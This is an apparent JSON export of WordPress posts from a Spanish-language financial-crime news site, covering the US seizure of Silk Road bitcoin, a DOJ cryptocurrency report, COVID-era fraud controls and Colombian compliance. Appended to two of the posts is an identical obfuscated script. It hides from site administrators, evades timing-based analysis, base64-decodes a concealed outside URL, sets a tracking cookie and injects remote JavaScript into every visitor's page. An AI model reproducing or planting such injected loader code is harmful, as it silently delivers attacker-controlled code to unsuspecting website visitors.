mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es 